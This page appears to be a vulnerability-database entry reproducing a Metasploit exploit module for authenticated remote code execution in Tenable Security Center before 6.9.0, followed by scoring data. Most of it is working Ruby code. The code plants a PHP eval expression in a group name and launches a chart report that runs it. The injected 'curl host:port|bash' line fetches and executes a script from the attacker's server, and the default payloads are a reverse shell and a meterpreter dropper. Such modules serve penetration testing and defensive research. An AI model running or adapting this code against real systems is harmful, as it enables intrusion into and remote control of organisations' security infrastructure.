Lucene search
+L

Tenable Security Center Report Charting RCE

🗓️ 13 Aug 2026 00:00:00Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 4 Views

Authenticated RCE in Tenable Security Center prior to 6.9.0 via report charting.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Eval Injection in Tenable Security_Center
24 Aug 202612:42
githubexploit
attackerkb
ATTACKERKB
CVE-2026-19626
14 Aug 202616:55
attackerkb
circl
Circl
CVE-2026-19626
14 Aug 202617:50
circl
cve
CVE
CVE-2026-19626
14 Aug 202616:55
cve
cvelist
Cvelist
CVE-2026-19626 Remote Code Execution
14 Aug 202616:55
cvelist
euvd
EUVD
EUVD-2026-58727
14 Aug 202616:55
euvd
kitploit
Kitploit
POC-CVE-2026-19626
25 Aug 202604:28
kitploit
nvd
NVD
CVE-2026-19626
14 Aug 202617:17
nvd
packetstorm
Packet Storm
Tenable Security Center Report Charting Remote Code Execution
26 Aug 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-72055
14 Aug 202600:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tenable Security Center Report Charting RCE',
        'Description' => %q{
          Tenable Security Center prior to 6.9.0 allows an authenticated,
          non-administrative user to achieve code execution as the web service
          account (tns) through report generation.

          A report definition's inline style is discarded at render (components
          rehydrate styles from the Style tables by styleID), so the payload is
          delivered through a label instead: a group created with the name
          `{=system('CMD')}` is accepted verbatim and becomes a pie sector
          label via a user/sumgroup query; `{label}` substitution runs BEFORE
          the eval loop, so the payload lands inside the format string and
          fires at chart render. Regular org users can create both; report
          launch refuses ROLE_ADMIN - this bug class is explicitly non-admin.

          Payload constraints: the {=...} regex is non-greedy to the first
          closing brace, so the expression may not contain one, and PHP string
          interpolation applies; this module therefore injects only
          `curl <srvhost>:<srvport>|bash`
          (a bare host:port GETs / and bash reads the served script from
          stdin). The served script itself has no such limits, which the
          Linux Dropper target exploits with a fetch payload
          (cmd/linux/http/...) that downloads and execs a full native payload
          (e.g. x64 meterpreter) from the payload adapter's own listener on
          FETCH_SRVPORT.

          Report definitions are closed to administrators (creation returns
          error 163); supply credentials for a regular org user.

          Tested against SecurityCenter 6.7.2-14 on RHEL9.
        },
        'License' => MSF_LICENSE,
        'Author' => ['h00die'],
        'References' => [
          ['URL', 'https://www.tenable.com/security/tns-2026-22'],
          ['CVE', '2026-19626']
        ],
        'DisclosureDate' => '2026-08-13',
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          # msf defaults to php payload, but SC bundles its own php and its not in the path so
          # we want to avoid that since it'll fail
          ['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload
          # the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;
          # x86/aarch64/multi variants of cmd/linux/http/... work here too
          [
            'Linux Dropper', {
              'Platform' => 'linux',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                # pinned: a native stage must come through a fetch payload to fit
                # the charset-limited {=...} expression
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443,
          'PrependFork' => true,
          # jobd renders asynchronously; a render queued behind another took
          # ~25s in the lab (vs 11s solo). Keep the payload servers alive well
          # past the exploit wait loop below so a late render still lands
          'WfsDelay' => 30,
          # fetch-payload staging (module-level so they apply even when the
          # payload is selected by hand rather than via the Dropper target):
          # the web process cwd isn't writable by tns, so stage from /tmp, and
          # keep the fetch listener off this module's SRVPORT script server
          'FETCH_WRITABLE_DIR' => '/tmp',
          'FETCH_SRVPORT' => 8081
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      # report definitions are closed to admins — regular org user required
      OptString.new('USERNAME', [true, 'Username to authenticate with (regular org user, not admin)', '']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
    ])
    @groups = []
    @definitions = []
  end

  def login(username, password)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest', 'token'),
      'ctype' => 'application/json',
      'data' => { 'username' => username, 'password' => password }.to_json
    )
    fail_with(Failure::Unreachable, 'No response to login') unless res
    json = res.get_json_document
    fail_with(Failure::NoAccess, "Login failed: #{json['error_msg']}") if json['error_code'] != 0

    token = json['response']
    token = token['token'] if token.is_a?(Hash)
    fail_with(Failure::NoAccess, "No token in login response: #{json}") if token.blank?

    # the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is
    # only accepted alongside it (HttpClient keeps no cookie jar of its own).
    # SC rotates the session id on login (two Set-Cookie headers) — keep only the
    # final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)
    session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last
    fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session

    { 'X-SecurityCenter' => token.to_s, 'Cookie' => "TNS_SESSIONID=#{session}" }
  end

  def rest_request(session, method, *path, body: nil)
    opts = {
      'method' => method,
      'uri' => normalize_uri(target_uri.path, 'rest', *path),
      'headers' => session
    }
    if body
      opts['ctype'] = 'application/json'
      opts['data'] = body.to_json
    end
    res = send_request_cgi(opts)
    fail_with(Failure::Unreachable, "No response to #{method} /rest/#{path.join('/')}") unless res
    res
  end

  def rest_json(session, method, *path, body: nil)
    rest_request(session, method, *path, body: body).get_json_document
  end

  # report definitions are closed to administrators (error 163); probe with a
  # benign definition to fail early with a clear reason on admin credentials.
  # Memoized — check and exploit share.
  def worker_session
    return @worker if @worker

    session = login(datastore['USERNAME'], datastore['PASSWORD'])
    json = rest_json(session, 'POST', 'reportDefinition', body: report_definition)
    if json['error_code'] == 163
      fail_with(Failure::NoAccess, 'Credentials are administrative, but report definitions are closed to administrators — supply a regular (non-admin) org user credential')
    end
    fail_with(Failure::UnexpectedReply, "Report creation failed: #{json['error_msg']}") if json['error_code'] != 0

    delete_tracked_artifact(session, 'reportDefinition', json.dig('response', 'id')) # benign probe, discard now
    @worker = session
  end

  # PDF report definition carrying a pieChart component. Schema per the 6.8.0
  # validators: pdf requires styleFamily and non-empty chapters; chart
  # components need a per-component dataSource and a style object.
  #
  # The inline style's format strings are NOT the delivery vector: they are
  # stored verbatim in xmlDefinition but discarded at render (getReport's
  # render context overwrites component style with StyleLib::getComponentStyle()
  # fetched by styleID — the lab-verified reason the style-only PoC stalls).
  # The payload rides the GROUP NAME alone ({label} substitution precedes the
  # eval loop), so the style carries only benign built-in-shaped values and
  # the payload appears exactly once in the request capture.
  def report_definition
    name = Rex::Text.rand_text_alphanumeric(8)
    component = {
      'tag' => 'component',
      'name' => name,
      'componentType' => 'pieChart',
      'definition' => {
        'dataSource' => {
          'type' => 'query',
          'querySourceType' => 'individual', # feeds DataSource.querySourceType (NOT NULL)
          'sortColumn' => 'count',
          'sortDirection' => 'asc',
          # user/sumgroup: one row per group — the payload-named group
          # becomes a sector label
          'query' => { 'type' => 'user', 'tool' => 'sumgroup', 'filters' => [] }
        },
        'columns' => [{ 'name' => 'count' }],
        'labelColumns' => 'groupID', # sumgroup rows map groupID -> group NAME string
        'dataPoints' => 25,
        'imageWidth' => 550,
        'style' => {
          'legend' => 'right',
          'legendFormat' => '{label}',
          'labelFormat' => '{label}'
        }
      }
    }
    {
      'name' => name,
      'description' => Rex::Text.rand_text_alphanumeric(8),
      'type' => 'pdf',
      'styleFamily' => 1, # >12 hard-fails PDF assembly; 1 rides the Plain fallback
      'schedule' => { 'type' => 'never' }, # schedule required (error 146); never = manual launch only
      'definition' => { 'chapters' => [{ 'name' => name, 'elements' => [component] }] }
    }
  end

  # the {=...} expression body is eval'd as PHP inside a double-quoted string:
  # no '}' (the regex closes on the first brace) and no quotes/dollar/backtick
  # (PHP interpolation / payload quoting)
  def expression(cmd)
    "{=system(\"#{cmd}\")}"
  end

  # the delivery vehicle: a group whose NAME is the payload, plus the report
  # definition that renders it into a pie legend — launch makes jobd render,
  # and the render evals the group name
  def fire(payload)
    json = rest_json(@worker, 'POST', 'group', body: { 'name' => payload, 'description' => Rex::Text.rand_text_alphanumeric(8) })
    fail_with(Failure::UnexpectedReply, "Group creation failed: #{json['error_msg']}") if json['error_code'] != 0
    @groups << json.dig('response', 'id')
    vprint_status("Created group #{@groups.last} carrying the payload name")

    json = rest_json(@worker, 'POST', 'reportDefinition', body: report_definition)
    fail_with(Failure::UnexpectedReply, "Report definition failed: #{json['error_msg']}") if json['error_code'] != 0
    @definitions << json.dig('response', 'id')
    vprint_status("Created report definition #{@definitions.last}")

    json = rest_json(@worker, 'POST', 'reportDefinition', @definitions.last.to_s, 'launch', body: { 'id' => @definitions.last })
    fail_with(Failure::UnexpectedReply, "Report launch failed: #{json['error_msg']}") if json['error_code'] != 0
    print_status('Report launched — chart render evals the group-name payload')
  end

  def payload_srv_ip
    srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost
  end

  # plaintext payload server (see http_server_ssl override): datastore SSL
  # stays true for the client side against 443. Path MUST be root — the
  # injected curl|bash fetch carries no path component, and leaving 'Path'
  # unset mounts the default Proc on a random URI instead. Started once;
  # check and exploit share it.
  def start_payload_server
    return if @server_started

    @server_started = true
    start_service('Path' => '/')
  end

  def on_request_uri(cli, _req)
    vprint_status('Payload script requested')
    @canary = true
    # sc brings its own php, so use that location
    if @payload_cmd&.end_with?('exec php')
      @payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings
    end
    send_response(cli, @payload_cmd.to_s, 'Content-Type' => 'text/plain')
  end

  # HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an
  # explicit 'ssl' => false gets clobbered (false is falsey) and the server
  # inherits the datastore SSL meant for the 443 client side. The injected
  # `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to
  # the datastore ssl) to false so this script server stays http. The Dropper
  # target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP
  # too (cmd/linux/https/... exists if that ever needs encrypting).
  def http_server_ssl
    false
  end

  def check
    @worker = worker_session
    start_payload_server

    @canary = false
    srv_ip = payload_srv_ip
    vprint_status("Launching a canary report whose legend curls http://#{srv_ip}:#{datastore['SRVPORT']}/ ...")
    fire(expression("curl #{srv_ip}:#{datastore['SRVPORT']}"))

    waited = 0
    while waited < 30 && !@canary
      Rex.sleep(1)
      waited += 1
    end
    if @canary
      CheckCode::Vulnerable("Report render eval fired (canary fetched http://#{srv_ip}:#{datastore['SRVPORT']}/ after #{waited}s)")
    else
      CheckCode::Unknown("No canary within #{waited}s — jobd render may be queued behind other reports; check /opt/sc/admin/logs/sc-error.log for eval'd-code warnings")
    end
  end

  def exploit
    @worker = worker_session
    # for the Dropper target payload.encoded is the fetch payload's
    # download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,
    # chmod +x, exec); the payload adapter runs that listener itself, so this
    # module only serves the command text at / below
    @payload_cmd = payload.encoded

    srv_ip = payload_srv_ip
    start_payload_server

    inject = "curl #{srv_ip}:#{datastore['SRVPORT']}|bash"
    fail_with(Failure::BadConfig, "Injection carries characters the {=...} eval cannot survive: #{inject}") unless inject.count("}'\"`$").zero?

    print_status("Injecting '#{inject}' as a group name (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)")
    # baseline BEFORE firing: the dropper can connect back fast enough that the
    # session exists by the time we reach the wait loop
    initial = framework.sessions.count
    fire(expression(inject))

    # keep the payload server alive while jobd renders and the curl|bash runs;
    # module cleanup would otherwise tear it down before the fetch lands.
    # Render latency is the jobd queue depth: ~11s solo, ~25s queued behind
    # one render in the lab — 120s covers a several-deep queue. AutoCheck
    # doubles the number of renders (canary + payload); set AutoCheck false
    # to halve the queue
    print_status('Waiting for the report render and session...')
    waited = 0
    while waited < 120 && framework.sessions.count == initial
      Rex.sleep(1)
      waited += 1
      vprint_status("Render still pending (#{waited}s)") if (waited % 30).zero?
    end
    if framework.sessions.count > initial
      print_good('Session opened')
    else
      print_warning("No session after #{waited}s — the render may still be queued in jobd (re-run, or raise WfsDelay); verify #{srv_ip}:#{datastore['SRVPORT']} is reachable, and check /opt/sc/admin/logs/sc-error.log for eval'd-code warnings")
    end
  end

  # best-effort removal of everything the chain persisted: report definitions
  # and payload groups. Runs after the wait loop, so a landed session is
  # unaffected; a still pending render is cut short, which is fine — we
  # already gave up on it
  def cleanup
    cleanup_list(@worker, 'reportDefinition', @definitions)
    cleanup_list(@worker, 'group', @groups)
  ensure
    super
  end

  def cleanup_list(session, kind, ids)
    return unless session && ids

    ids.compact.each do |id|
      rest_request(session, 'DELETE', kind, id.to_s)
      vprint_status("Deleted #{kind} #{id}")
    rescue StandardError => e
      vprint_status("Deleting #{kind} #{id} failed: #{e.class} #{e.message}")
    end
  end

  def delete_tracked_artifact(session, kind, id)
    return if id.blank?

    (@definitions << id) if kind == 'reportDefinition'
    (@groups << id) if kind == 'group'
    rest_request(session, 'DELETE', kind, id.to_s)
    vprint_status("Deleted #{kind} #{id}")
  rescue StandardError => e
    vprint_status("Deleting #{kind} #{id} failed: #{e.class} #{e.message}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 49.4
CVSS 3.19.9
EPSS0.01444
SSVC
4